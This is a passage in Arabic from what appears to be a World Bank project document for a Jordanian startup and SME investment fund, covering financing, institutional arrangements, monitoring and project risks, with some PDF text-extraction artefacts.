استقصائية لشبكات رعاة األعمال في الواليات المتحدة أجراها كل من سول وهيل ان أكثر من 30 %من شركات مجموعات رعاة األعمال التي يهيمن عليها النساء )أي 25 %من األعضاء على األقل( كانت تملكها نساء، مقارنة بنسبة تتراوح بين 12 %و 13 %في المتوسط في مجموعات رعاة األعمال الذي يهيمن عليها الرجال. وبالمثل، وجد الباحثان أن مجموعات رعاة األعمال التي يهيمن عليها النساء تخصص نسبة أكبر من استثماراتها إلى الشركات المملوكة للنساء )3,13 %مقارنة بـ 6,6 %في المجموعات أن المستثمرات، مثلهم في ذلك مثل كل رعاة األعمال، يسعين إلى الحوافز المالية وإلى الوصول إلى فرص استثمارية األخرى(. ووجدا أيضاً مغرية وإلى مشاركة المستثمرين المخضرمين. ومع ذلك، فإنهن ينفردن عن المستثمرين اآلخرين في الدراسة المذكورة بتحملهن أعباء المسئولية االجتماعية في االستثمار وبالرغبة في مساعدة رائدات األعمال على النجاح وزيادة فرص حصول رائدات األعمال على رأس المال. وقد أطلقت في عام 2014 منصة لراعيات األعمال مقرها دبي تدعى "وومينا"، باإلضافة إلى عدة شبكات ناجحة مماثلة في الواليات المتحدة، ويجدر بالصندوق أن يتخذها ضمن شركائه في بناء قدرات راعيات األعمال في األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 23 48 -يوضح الجدول رقم 7 تقديرات المبالغ التي يمكن تخصيصها لكل نشاط خالل فترة المشروع. وقد يعدل فريق إدارة الصندوق لتكاليف السوق واحتياجاته. هذه المبالغ أو يعيد تخصيصها وفقاً جدول رقم 7 .أنشطة دعم النظام البيئي الشامل لخلق تدفق الصفقات على مدار دورة المشرزع )6 سنوات( نوع الدعم عنصر النظام البيئي الشامل الهدف األعداد القيمة بالمليون دوالر األمريكي تدفق الصفقات )الشركات برامج معجالت/ حاضنات األعمال الناشئة( رواد األعمال الجدد ذوي األفكار الواعدة وفرقهم في المجاالت والمحافظات المختلفة 150 رائد أعمال/ فريق 5.2 التدريب على الجاهزية لالستثمار ومنح خدمات تنمية األعمال التجارية المقدمة للمؤسسات الصغيرة والمتوسطة المستقرة التي يمكنها تحقيق النمو المرتفع تدفق الصفقات )األعمال التجارية القائمة( الشركات الناشئة والمؤسسات الصغيرة والمتوسطة المستقرة التي يمكنها تحقيق نمو ملحوظ لكنها بحاجة للدعم كي تعالج الثغرات الداخلية 600( للتدريب على الجاهزية لالستثمار(، 75 )متلقي منح خدمات تنمية األعمال التجارية( 2.75 بناء النظام البيئي الشامل/ بناء قدرة رعاة األعمال على االستثمار تدفق الصفقات بناء المعرفة والقدرة على االستثمار والمشاركة في األنشطة االستثمارية لرعاة األعمال 1.0 مجموعتان المكون الثالث: إدارة المشروع وتنسيقه ومتابعته وتقييمه )قيمة قرض البنك: 2 مليون دوالر/ إجمالي الموازنة: 4 مليون دوالر( 49 -سوف تغطي األموال المخصصة لهذا النشاط تكاليف إدارة المشروع خالل فترة تنفيذه. سوف يتولى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، فعلياً دور وحدة تنفيذ المشروع. تشمل تكاليف الصندوق التكاليف اإلدارية واالستشارية والتشغيلية الالزمة إلدارة استثمارات المشروع وتدفق الصفقات واإلشراف عليهم. كما سوف تدعم أموال المشروع التكاليف التي يدفعها الصندوق نظير ما يلي: أنشطة التدريب وبناء القدرات، والتسويق، وإجراء عمليات التقييم والتحليل على النظام البيئ الشامل، ووضع آليات التنسيق بين البرامج الوطنية والدولية، والتواصل على وجه الخصوص مع بعض المناطق )عبر المواقع اإللكترونية والمؤتمرات(، وأنشطة إشراك المواطنين، والتقييم والمتابعة، ومراجعة الضمانات الوقائية ومتابعتها، والخدمات القانونية، والمحاسبة وتدقيق الحسابات واإلدارة المالية. 50 -فضال عما سبق، فإن أموال المشروع سوف تغطي أيضاً النفقات التي تدفعها الشركة األردنية لضمان القروض بصفتها الجهة المنفذة، وتشمل: إنشاء الصندوق، وإدارة الحساب المخصص، واإلشراف الالزم على االئتمانات والضمانات الوقائية بما فيها آلية التعامل مع الشكاوى والتظلمات، وتعيين مستشار لضمان االمتثال الكامل للصندوق بالتزاماته الخاصة بتقديم التقارير إلى لجنة اإلدارة وإلى البنك الدولي. ب. تكلفة المشروع وتمويله 51 -المشروع المقترح هو تمويل مشروع استثماري يقدمه البنك الدولي بقيمة 50 مليون دوالر أمريكي يشمل رسوم مقدمة تدفع إلدارة القرض بنسبة 25.0 .%يتم فرض رسوم التزام بنسبة 25.0 %على أرصدة اإلقراض غير المنفقة الخاصة بالبنك الدولي لإلنشاء والتعمير والتي تصبح مستحقة بعد 60 يوما من توقيع اتفاقية القرض. وسيقدم البنك المركزي األردني ً مبلغا إضافياً بقيمة 48 مليون دوالر أمريكي من التمويل وسيتم تحويل مبلغ 88.13 مليون دوالر خالل فترة تنفيذ مشروع ً البنك الدولي )6 سنوات(، وسوف يتم توفير مبلغ إضافي بقيمة 125.35 مليون دوالر بعد إغالق مشروع البنك الدولي. وسيتم تقديم تمويل بأثر رجعي من مبلغ القرض يصل إلى 500 ألف دوالر نظير المبالغ المدفوعة قبل تاريخ سريان النفقات المؤهلة إلنشاء الصندوق واختيار مدير المشروع. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 24 جدول رقم 8 -جدول تمويل المشروع تكلفة المشروع مكونات المشروع بالمليون دوالر تمويل البنك الدولي لإلنشاء والتعمير تمويل النظراء خالل فترة تنفيذ مشروع البنك الدولي تمويل النظراء بعد إنتهاء تنفيذ مشروع البنك الدولي التكلفة اإلجمالية للمشروع: 1 .برنامج التمويل المختلط من رأس المال والدين 2 .دعم خلق تدفق الصفقات 3 .إدارة المشروع وتنسيقه ومتابعته وتقييمه 53.50 6.25 4.00 44.75 *3.125 2.00 8.75 *3.125 2.00 الرسوم المقدمة إلدارة القرض 125.0 34.125 13.875 50.00 المطلوب التمويل إجمالي * يتم تقريب هذا الرقم إلى 13.3 في صحيفة البيانات ج. الدروس المستفادة المتجلية في تصميم المشروع 52 -يعتمد المشروع على الدروس المستفادة من مشروع مماثل ُنفذ في لبنان باسم "دعم المؤسسات الصغيرة والمتوسطة االبتكارية" )P127306 ،)وأيضا الدروس المستفادة من تصميم مشروع "تمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية" في المغرب)P150928 )حيث حصل األول على موافقة مجلس المديرين التنفيذيين في مجموعة البنك الدولي في 31 أكتوبر/ تشرين الثاني 2012 ،والثاني في 10 مارس/ آذار 2017 .يقدم مشروع المؤسسات الصغيرة والمتوسطة االبتكارية منح لتطوير المفهوم إلى رواد األعمال تصل قيمتها إلى 15 ألف دوالر لكل منهم، وتمويل رأس مال يتم ض ّخ ًة في المؤسسات الصغيرة والمتوسطة االبتكارية، باالشتراك مع مستثمرين يصل إلى 5.1 مليون لكل صفقة ل ه مباشر آخرين في القطاع الخاص. وسل مراجعة منتصف مدة تنفيذ المؤسسات الصغيرة والمتوسطة االبتكارية الضوء على ّطت الدروس الرئيسية التي يتم وضعها في االعتبار عند تصميم المشروع: أ( تعتبر منح تطوير المفهوم مصدر اً هاما لتدفق الصفقات بالنسبة لالستثمارات، حيث تكون المنح بمثابة وسائل مبدئية ً لتصفية االستثمارات واستبعاد غير المالئم منها. ب( طلبات الحصول على المنح المقدمة من رواد أعمال مرتبطين بحاضنات أعمال أو معجالت أعمال أو برنامج جامعي أو كيانات داعمة أخرى أفضل من الطلبات التي يقدمها رواد أعمال دون دعم. ت( عملية مراجعة واختيار المنح المتصلة بالمبالغ الصغيرة منهكة ومضيعة للوقت، لذا من األفضل االستعانة بمقدمي الدعم للنظام البيئي الشامل القادرين على القيام بهذا األمر على أساس معايير المشروع. ث( هناك فجوة تمويلية بين وقت بدء تلقي المشروع الناشئ للمنحة، والوقت الذي يكون فيه أصحاب المشروع مستعدين فعلياً لالستثمار )بين 15 ألف و20 ألف دوالر(. وال بد من توفير أدوات التمويل المختلط من رأس المال والدين مثل السندات القابلة للتحويل، أو أشكال أخرى من التمويل مثل القروض الميسرة، لضمان صمود واستمرار المشروع الناشئ إلى حين دخوله أول دورة لرأس المال. ج( تدفق الصفقات أمر مهم جداً لنجاح التمويل. ينبغي أن يضع المشروع في االعتبار الشراكة والدعم واالستثمار في الكيانات التي تعمل على إنشاء، ودعم الشركات الناشئة لكي تصبح جاذبة للمستثمرين. وال ينبغي أن تقتصر األنشطة، التي يمكن لتلك الكيانات تقديمها، على تمويل الشركات الناشئة مثل المنح المناظرة، والقروض الميسرة، بل ينبغي أن تشمل دعماً غير ماليا مثل التوجيه والتدريب والمساعدة في الوصول إلى األسواق واالستعداد والتدريب من أجل جذب ً االستثمارات. ح( يفضل مستثمرو القطاع الخاص تمويل الصفقات، حيث يوفر لهم ذلك فرصة توسيع نطاق أعمالهم، وتقاسم المخاطر. مع ذلك قد تكون عملية المراجعة والتفاوض في كل استثمار بطيئة ومستهلكة للوقت بشكل كبير، وتؤدي إلى تأخر اإلنفاق. كذلك يقدم خيار االستثمار في الصناديق قيمة مضافة تتمثل في عملية اختيار استثمار بخطى أسرع وعلى نحو أكثر انسيابية وسالسة، إلى جانب توفير فرصة الحصول على مبالغ أكبر من مستثمري القطاع الخاص يفضلون االستثمار في صناديق، وكذلك تيسير عملية اإلنفاق على المشروع. خ( المرونة عنصر أساسي، حيث ينبغي توافر هذا العنصر عند اختيار أنواع الشركاء، والصناديق والمستثمرين المشاركين وقطاعات المشروعات الصغيرة والمتوسطة، والنفقات المستحقة، باستثناء أنشطة/نفقات الضمانات الوقائية غير المؤهلة. ا ألفضل الممارسات االستثمارية العالمية لجذب أكبر عدد ممكن من ً ينبغي أن يتم تنفيذ أنشطة واستثمارات المشروع طبق المستثمرين إلى السوق. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 25 رابعا. التنفيذ أ- الترتيبات المؤسسية والتنفيذية 53 -سيتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية كشركة مساهمة خاصة طبقاً لقانون ا لوضعه بموجب القانون رقم 22 ،إلى إشراف مراقب ً الشركات األردني رقم 22 لعام 1997 .سيخضع الصندوق، نظر الشركات الذي يشرف على كافة الشركات الخاصة. ال ينظم قانون الشركات بشكل مباشر أنشطة صناديق رأس المال من األسهم ورأس المال المخاطر ، حيث ال يقدم سوى إطار قانوني عام إلدارة الشركات المسجلة بموجب القانون المذكور أعاله. ووفقا لقانون الشركات، يتم تقديم وثائق التأسيس، التي تحكم العالقة بين الشركاء أو المساهمين في شركة أردنية، إلى قسم ً الرقابة على الشركات التابع لوزارة الصناعة والتجارة. كذلك ينصّ قانون الشركات على قواعد محددة تتعلق بإدارة الشركات وفقا لهذا القانون. ويضطلع مراقب الشركات بمسئولية مراقبة تطبيق قانون الشركات، وإدارة قسم الرقابة على ً المسجلة الشركات في وزارة التجارة والصناعة، الذي يعد بمثابة سجل الشركات في األردن. 54 -الهيكل القانوني للصندوق المحلي السائد في األردن غير متاح بسبب القيود التي يفرضها قانون الشركات. في الوقت الذي ا من خالل الشراكة المحدودة أو الشراكة المحدودة باألسهم، هناك بعض ً يتوافر فيه شكل المؤسسة ذات الشراكة المحدودة نظري المتطلبات في قانون الشركات، التي تجعلها طريقة غير عملية، إن لم تكن مستحيلة إلنشاء هيكل صندوق نموذجي )شراكة محدودة أو شراكة محدودة باألسهم(. من بين هذه القيود: )أ( ضرورة وجود شريك متضامن في الشراكة المحدودة ليكون الشخص الطبيعي في مقابل كيان الشركة، و)ب( ضرورة وجود شريكين متضامنين في الشراكة المحدودة باألسهم، و)ج( ضرورة وجود شريك متضامن في الشراكة المحدودة باألسهم ليساهم بـ30 %من إجمالي قيمة الصندوق. لذا تتخذ الصناديق، التي تكون هناك رغبة في إنشائها باستخدام هيكل شركة أردنية حصري )صناديق محلية(، صورة الشركات المساهمة الخاصة، أي شركة مغلقة ذات مسئولية محدودة، تتيح توفير فئات من األسهم. والبديل لذلك الترتيب، هو تسجيل الصندوق كشراكة أجنبية محدودة لها شريك متضامن متواجد في األردن، وهذا هو الوضع السائد في كافة هياكل الصناديق الموجودة في األردن. 55 -لتشجيع القطاع الخاص على المشاركة وتعزيز الشفافية والتنفيذ التجاري، سوف يتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من خالل الشركة األردنية لضمان القروض، التي سوف تكون بمثابة الراعي المحلي للمشروع. االتفاقات القانونية التي يتم توقيعها لتحقيق نجاح المشروع موضحة على النحو التالي: أ( سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية قرض، وتحصل على قرض من البنك الدولي نيابة عن الحكومة ً األردنية التي ستكون مسئولة عن تسديد القرض للبنك الدولي. ب( سوف يوقع البنك الدولي على اتفاقية المشروع مع الشركة األردنية لضمان القروض باعتبارها الجهة المسئولة عن تنفيذ ا التفاق المشروع طبق ية القرض ودليل عمليات المشروع. ً ت( سوف توقع وزارة التخطيط والتعاون الدولي على اتفاقية للتمويل المشترك مع البنك المركزي األردني فيما يتعلق بالتمويل المشترك الذي سيقدمه البنك المركزي األردني إلى المشروع. ث( سوف توقع وزارة التخطيط والتعاون الدولي على اتفاقية فرعية مع الشركة األردنية لضمان القروض بصفتها الجهة المنفذة للمشروع. شكل رقم 6 .االتفاق القانوني البنك الدولي حكومة األردن الشركة األردنية لضمان القروض الجهة المنفذة 1.اتفاقية القرض 2 .اتفاقية المشروع 4 .االتفاقية الفرعية البنك المركزي األردني 3 .اتفاقية التمويل المشترك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 26 56 -سوف تكون الشركة األردنية لضمان القروض مسئولة قانوًنا عن إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وسوف تكون عضو المجلس التنفيذي ورئيس المجلس التنفيذي المسئول عن اإلشراف على الصندوق، وضمان استيفاء عملية التنفيذ لمتطلبات وشروط البنك الدولي بحسب ما هو موضح في دليل عمليات المشروع. سوف تستعين الشركة بمدير مؤهل من القطاع الخاص يكون مسئوال عن تنفيذ أنشطة المشروع والمتابعة والتقييم، وإدارة االئتمان، والضمانات الوقائية، ونظام تقديم التقارير. الشركة األردنية هي الجهة المنفذة للمشروع من خالل قرض المشروع، وسوف تكون مسئولة عن ضمان تنفيذ كافة أعمال إدارة االئتمان، وتقديم التقارير الخاصة بالصندوق بشكل صحيح، وتقديم التقارير ذات الصلة إلى البنك الدولي، في حين سيكون الصندوق هو وحدة تنفيذ المشروع، وسيكون مسئوال عن تنفيذ كافة األنشطة، وأعمال المتابعة والتقييم، وتقديم التقارير الخاصة بالمشروع إلى البنك الدولي. شكل رقم 7 .التنفيذ المؤسسي 57 -سوف تتبع الشركة األردنية لضمان القروض الضرورية الضوابط الالزمة لضمان خضوع عملية تنفيذ المشروع إلشراف مستقل صارم بقيادة القطاع الخاص، واستراتيجية استثمار مهنية احترافية. ومن بين هذه الضوابط، إنشاء مجلس إدارة أغلب أعضائه من القطاع الخاص، وتشكيل لجنة استثمار مستقلة تتألف بالكامل من خبراء من القطاع الخاص يتخذون قرارات بشأن اختيار االستثمارات وفرض جزاءات على عمليات التخارج من االستثمار بحسب التفويض الممنوح لها من مجلس إدارة قا لدليل عمليات المشروع. سيتم اختيار هيكل كل صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وطبً من مجلس اإلدارة، ولجنة االستثمار استناداً إلى المعايير المشار إليها في دليل عمليات المشروع دون اعتراض من جانب البنك الدولي. ستقوم الشركة األردنية بتوقيع اتفاقية إدارة مع المدير المختار للصندوق تنص على مسئوليات كل من الشركة بصفتها جهة مشرفة، ومدير الصندوق إلدارة االستثمارات وأنشطة تدفق الصفقات، وتقديم المعلومات الضرورية والتقارير إلى الشركة. وافق مجلس الوزراء على الهيكل القانوني واإلداري للصندوق، بما في ذلك معايير اختيار خبراء مستقلين من القطاع الخاص ليكونوا أعضاء في مجلس اإلدارة ولجنة االستثمار، بقرار رقم 2283 بتاريخ 19 مارس 2017 .ويمنح قرار مجلس إدارة الشركة األردنية، في اجتماعه بتاريخ 2 فبراير 2017 ،الموافقة للشركة األردنية على إنشاء الصندوق في إطار الهيكل المقترح. الخروج من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية 58 -ال يعتمد تسديد قرض البنك الدولي على عائدات الصندوق أو إغالقه. يلتزم البنك المركزي األردني بض ّخ مبلغ قدره 48 مليون دوالر في رأس مال الصندوق، إضافة إلى قرض البنك الدولي. وعليه سوف يكون إجمالي رأس مال الصندوق 98 مليون دوالر، وهو مبلغ يكفي لعمل المشروع حتى نهاية مدته )12+2+1 عام( مما يتيح له فرصة إعادة التوازن إلى استثماراته، وتحقيق االستدامة حتى يتم اإلنسحاب من االستثمارات. تستغرق االستثمارات في المرحلة المبكرة في األردن فترة تتراوح في المتوسط بين 7 و9 سنوات قبل السماح لها بتسييل حصتها. وعند مراجعة المشروع متوسطة المدى، سوف يقوم كل من البنك الدولي، ولجنة المتابعة، والبنك المركزي األردني، بمراجعة أداء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من حيث االستدامة، وتحقيق هدف المشروع بالتشاور مع الجهات المعنية من الحكومة والقطاع الخاص، واتخاذ قرار بشأن اإلجراءات المناسبة الالزم اتخاذها عند الحاجة. صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية تمتلك الشركة األردنية لضمان القروض 51 %من األسهم وتقوم بدور رئيس مجلس اإلدارة 49 %من األسهم يمتلكها البنك المركزي األردني الشريك الموصي اتفاقية المساهمين اتفاقية اإلدارة تراجع لجنة االستثمار وتختار االستثمارات مدير صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية )وحدة تنفيذ المشروع( المؤسسات النظام البيئي الصناديق الصغيرة والمتوسطة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 27 ب- نتائج المتابعة والتقييم 59 -يتضمن دليل عمليات المشروع الجوانب التشغيلية إلطار المتابعة والتقييم. تشمل المهام ذات الصلة: )أ( وضع طريقة منهجية ا لتحقيق المتطلبات األساسية من البيانات كما تحدد الطريقة المنهجية المتبعة، و)ب( ً للمتابعة والتقييم، وخطة تنفيذها، ونهج إعداد تقارير متابعة سنوية ونصف سنوية للمشروع تتضمن بيانات موجزة لألداء بشكل مجمل مقارنة باألهداف، و)ج( مراجعات متابعة وتقييم سنوية تشمل ضمان مشاركة المواطن. 60 -يضطلع صندوق الشركات الناشئة والمؤسسات الصغيرة المتوسطة االبتكارية بالمسئولية األساسية في متابعة نتائج المستفيدين النهائيين والصناديق والمؤسسات الوسيطة، طبقاً إلطار نتائج المشروع، وإرشادات المتابعة والتقييم المحددة في الملحق رقم 1 المرفق بهذه الوثيقة ودليل عمليات المشروع. في حالة الصناديق ومقدمي الدعم للنظام البيئي الشامل، سوف يكون من الالزم أن تتضمن طلباتهم المقدمة للصندوق للحصول على التمويل توضيح لآلليات التي سيستخدمونها من رتين سنوياً أجل تنفيذ المتابعة والتقييم. سوف تقدم الصناديق والمؤسسات الوسيطة في النظام البيئي تقرير متابعة وتقييم م إلى الصندوق. سوف يكون الصندوق مسئوال عن تقديم تقرير متكامل عن المتابعة والتقييم إلى البنك الدولي، وبيانات كمية يتم جمعها من المستفيدين من المشروع والمستثمرين ومديري الصناديق. يمكن للبنك الدولي تنظيم تدريب متابعة وتقييم للصندوق والمؤسسات الوسيطة بحسب ما تدعو الحاجة إلى ذلك. 61 -كذلك سوف يتولى الصندوق، في إطار مسئولياته الخاصة بمتابعة النتائج، استكشاف طريقة لقياس توفير الوظائف غير المباشرة ومتابعة تلك النتائج ألقصى حد ممكن وفقاً ألفضل الممارسات. إلى جانب ذلك، من الممكن أن يجذب المشروع رواد األعمال أو المستثمرين من الالجئين السوريين، وينبغي على الصندوق متابعة هذا األمر في إطار أنشطة المتابعة والتقييم الخاصة بالمشروع. ج- االستدامة 62 -يتضمن تصميم المشروع هيكل مالي يحقق التوازن بين الفئات المختلفة )مرحلة رأس التأسيس/ التمويل، والمرحلة المبكرة، ورأس المال المخاطر ( مما يدعم استدامة العمليات. بالنظر إلى فئة االستثمار الذي يتضمن قدر كبير من المخاطر، من غير المتوقع أن يحقق صندوق المشروعات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية معدل العائد الداخلي الذي يستهدفه السوق الخاص، لكن استراتيجية االستثمار المقترحة من جانب الصندوق تحقق توازن بين الفئات الثالثة لالستثمارات )رأس المال األولي/المرحلة المبكرة/ رأس المال المخاطر( بحيث يتم إتاحة تحقيق تراكم إيجابي للعائدات يساعد على استمرار إدارة االستثمارات بعد انتهاء المشروع، ويغطي تكلفة القرض. يمكن توظيف صافي األرباح )حصة الحكومة من العائدات( لتعويض الحكومة عن تكلفة االقتراض )ينبغي مالحظة أن الهدف من استراتيجية االستثمار هو هدف تنموي، ولن تربط الحكومة العائدات التي يحققها الصندوق بتسديد القرض ألن العائدات غير مضمونة(. إضافة إلى ذلك، يلتزم البنك المركزي األردني بتقديم 48 مليون دوالر إلى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية وهو ما يساعد على استمرار عمل الصندوق بعد انقضاء مدة المشروع، ويمنح الصندوق فرصة تسييل بعض االستثمارات، وإعادة التوازن لوضعه في استثمارات أخرى من أجل الحفاظ على االستدامة. ويتضمن ملحق رقم 8 التوقعات المالية على أساس عدة سيناريوهات توضح صافي عائدات الحكومة بعد دفع كافة تكاليف المشروع. 63 -دون النظر إلى ما إذا كانت الحكومة تحقق عائد إيجابي أم ال، سوف يكتسب رواد األعمال، الذين تم دعمهم طوال فترة المشروع، ثم أخفقوا، خبرة وعلم ذي قيمة كبيرة مما يساعدهم على إنشاء شركات جديدة أفضل، وكذلك سوف يعود هذا بالنفع على المجال، واألطراف المقدمة للخدمات به )المحامين، والمحاسبين، وغيرهم(. وسوف يساعد تجميع هذه المعرفة والقدرات بشكل إيجابي في تحقيق النمو االقتصادي. . المخاطر األساسية خامساً 64 -قيمت المخاطر اإلجمالية لتشغيل المشروع بأنها "كبيرة". ويتصل هذا التقييم بالبيئة االقتصادية الكلية واالستراتيجيات في القطاع المعني والتصميم الفني للمشروع والقدرة المؤسسية. أما المخاطر االئتمانية فقيّمت بأنها "مرتفعة. أ- التقييم اإلجمالي للمخاطر وشرح أبرزها 65 -مخاطر االقتصاد الكلي )مخاطر كبيرة(. كان النمو االقتصادي هزيال، ومن المتوقع أن يستمر ركوده وسهولة تعرضه لعدم استقرار المنطقة، ولكن الحكومة قد أبدت حتى اآلن قدرتها على إدارة هذه الصدمات. للصدمات نظرا ساهم تنفيذ الكثير ً من البرامج والجهات المانحة في دعم هدف تحقيق استقرار االقتصاد الكلي، ويشمل هذا الدعم إجراء ترتيبات موسعة بقيمة البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 28 723 مليون دوالر تحت إشراف مرفق الصندوق الموسع، وقد اعتمدها المجلس التنفيذي لصندوق النقد الدولي في أغسطس/ آب 2016 ،عالوة على السلسلة المتصلة من تمويل سياسة التنمية الخاصة بالبنك الدولي. 66 -االستراتيجيات والسياسات القطاعية )مخاطر كبيرة( على الرغم من وجود بعض المبادرات الحكومية المنفذة في اآلونة األخيرة )إنشاء سجل ائتماني، ونظام للدفع عن بعد، وصندوق ضمان الشركات الناشئة، ودعم إقراض المؤسسات متناهية الصغر والصغيرة والمتوسطة(، فإن الشركان الناشئة ال تزال تواجه تحديات في بدء نشاطها التجاري وتحقيق نموها )من األسباب ارتفاع التكاليف وكثرة التشريعات التي تنظم أهلية التسجيل ضمن األعمال التجارية، وغياب أطر المعامالت المضمونة الالزمة والقوانين التي تضمن التمويل في حاالت اإلفالس، وجمود نظام الضرائب على األعمال التجارية، مما يثبط الكثير من المشروعات ويجعل أصحابها يحجمون عن الدخول في القطاع الرسمي(. وقد اتخذت عدة تدابير للتخفيف من أثر المشكالت المذكورة، منها استخدام أدوات تمويل مرنة لخفض تكاليف بدء األعمال التجارية وإنمائها. ومع ذلك، فسوف تظل مخاطر االستراتيجية القطاعية تقيّم بأنها كبيرة ما لم تتخذ إصالحات ملموسة بهدف جذب الكثير من رواد األعمال والمستثمرين. 67 -التصميم الفني للمشروع )مخاطر كبيرة(. أ. المزاحمة. قد تؤدي التدخالت الحكومية الكبرى إلى خالف ما ترمي إليه، فتؤدي مثال إلى مزاحمة استثمارات القطاع الخاص، وال سيما عندما تكون فرص االستثمارات القابلة لالستمرارية محدودة. وللتخفيف من حدة هذه المخاطر، سيقدم المشروع رأس مال صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية على مراحل زمنية بالتنسيق مع البنك المركزي األردني، وبذلك يمكن تفادي إغراق السوق دفعة واحدة بالتمويل بأكمله، ويتاح للمستثمرين من القطاع الخاص فترة كافية للمشاركة باعتبارهم شركاء في االستثمار. وباإلضافة إلى ذلك، سوف يشتمل المشروع المقترح، لضمان مشاركة القطاع الخاص، على نهج قائم على مشاركة القطاع الخاص في ار، بحيث يستفيد القطاع الخاص من تمويل الصندوق ويتحمل قدراً االستثم من مخاطر الصفقات أو يستفيد من رأس مال الصندوق لتمويل الصناديق الحاصة، وبذلك تحصل كافة األطراف الفاعلة على فرصة للمشاركة. ب. إشراك القطاع العام في اختيار االستثمارات وإدارتها. تكشف التجارب السابقة أن العوائق التشغيلية المفروضة على األجهزة الحكومية وميل الموظفين الحكوميين لتجنب المخاطر، عالوًة على انعدام المعرفة والخبرات المباشرة في مجال ريادة األعمال، كل ذلك يجعل من الصعب أن يستطيع القطاع العام اختيار الصفقات بالسرعة والمرونة الالزمتين. وبنا ًء عليه، فمن األفضل اتباع نهج يعتمد على القطاع الخاص في اإلدارة واتخاذ القرارات. ويأخذ المشروع المقترح هذا األمر بعين االعتبار، إذ ينص على أن الجهة المنفذة للمشروع سوف تختار، على أساس للصندوق من القطاع الخاص يتولى اختيار االستث تنافسي، مديرا مارات وإدارتها بالتعاون مع مجلس إدارة ولجنة ً استثمار أغلب أعضائهما من القطاع الخاص. ت. ضعف الصفقات المتوقع تنفيذها. يؤكد المستثمرون وفرة األفكار االبتكارية، لكنهم يشكون ندرة المقترحات التجارية الجيدة ورواد األعمال المحترفين، وقد يؤثر ذلك على حجم االستثمارات التي يقوم بها صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية، مما يؤثر بدوره على نفقات المشروع. ولتخفيف حدة هذا النوع من المخاطر، يشتمل المشروع على مكون معني بخلق تدفق صفقات، ويهدف لتحسين الشركات الناشئة القابلة . وتعد المخاطر من هذا النوع كبيرة لوجود فترة مبدئية )أول سنتين من فترة المشروع( تعاني لالستمرارية كماً وكيفاً من ضعف تدفق الصفقات إلى أن تحدث أنشطة تدفق الصفقات أثرها المتوقع. 68 -القدرة المؤسسية على التنفيذ والحفاظ على االستدامة )مخاطر كبيرة( تعمل الشركة األردنية لضمان القروض في مجال لحل هذه المشكلة، سوف يعين ضمان االئتمان، وال تتمتع بالقدرة على تشغيل االستثمارات في رأس المال وإدارتها. وسعياً مقترحات، مديراً المشروع، عبر إعالن دولي لتقديم ال يتمتع بخبرة واسعة في هذا المجال، فيدير الصندوق ويعين الموظفين المؤهلين الالزمين الستكمال عملياته. ويشير الخبراء بأن األردن تحظى بعدد كبير من مديري االستثمار والموظفين المؤهلين، باإلضافة إلى المتواجدين في الشرق األوسط وشمال أفريقيا والمنطقة والعالم، فلن يكون من الصعب إيجاد من يدير المشروع. وبالنسبة لمعايير اختيار مدير الصندوق واألحكام والمعايير والمبادئ التوجيهية الخاصة بتنفيذ المشروع التي يتعين على المدير كة مستشاراً محلياً االلتزام بها، فسوف ينص عليها دليل عمليات المشروع المعتمد من البنك الدولي. وقد عينت الشر ، خالل فترة اإلعداد للمشروع، ليتعاون معها في إعداد الشروط المرجعية ومعايير التقييم وعملية تقديم العطاءات ووضع دليل عمليات للشروط المرجعية التي كان فريق البنك الدولي قد أعدها. وسوف ينص دليل عمليات المشروع بكل وضوح المشروع وفقاً على أدوار الشركة ومسئولياتها، كما سيحصل كل موظفي الصندوق والشركة على دورات تدريبية بشأن المبادئ التوجيهية ونظرا مدير ً للبنك الدولي وإجراءاته المتبعة في أمور اإلدارة المالية والشراء والضمانات الوقائية والتقييم والمتابعة. لعدم تعيين المشروع وفريقه بعد، فإن مخاطر هذه الفئة تقيم بأنها كبيرة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 29 69 -االئتمان )مخاطر مرتفعة(. تعكس المخاطر االئتمانية اإلجمالية مخاطر اإلدارة المالية. أ- اإلدارة المالية ال يوجد لدي صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية وال الشركة األردنية لضمان القروض خبرة في إدارة المشروعات التي يمولها البنك الدولي )عبر القروض(، وقد ال يكون موظفي اإلدارة المالية في كلتا الجهتين مؤهلين لتولي أمور اإلدارة المالية ومهام الدفع على النحو الالزم. ويشتمل المشروع على معامالت استثمارية معقدة ودعم مالي مقدم للوسطاء، ولذلك فإن نظام اإلدارة المالية والضوابط الداخلية قد يكونا غير كافيين لضمان توزيع أموال المشروع وإدارتها على النحو الالزم لتحقيق األهداف المرجوة بكفاءة واقتدار اقتصادي. ونظراً الشتراك عدة أطراف، فقد يضطرب تدفق األموال في إحدى مراحل عملية التدفق ألسباب عدة، منها مشكالت قانونية أو عوائق تتصل باإلمكانات. ولذلك فقد قيّمت مخاطر اإلدارة المالية بأنها مرتفعة. وللتخفيف من أثرها )انظر الملحق رقم الثاني 2 لمزيد من التفاصيل(، سيتعين على المشروع القيام بما يلي: )أ( تعيين مسئول مالي عن المشروع يتسم 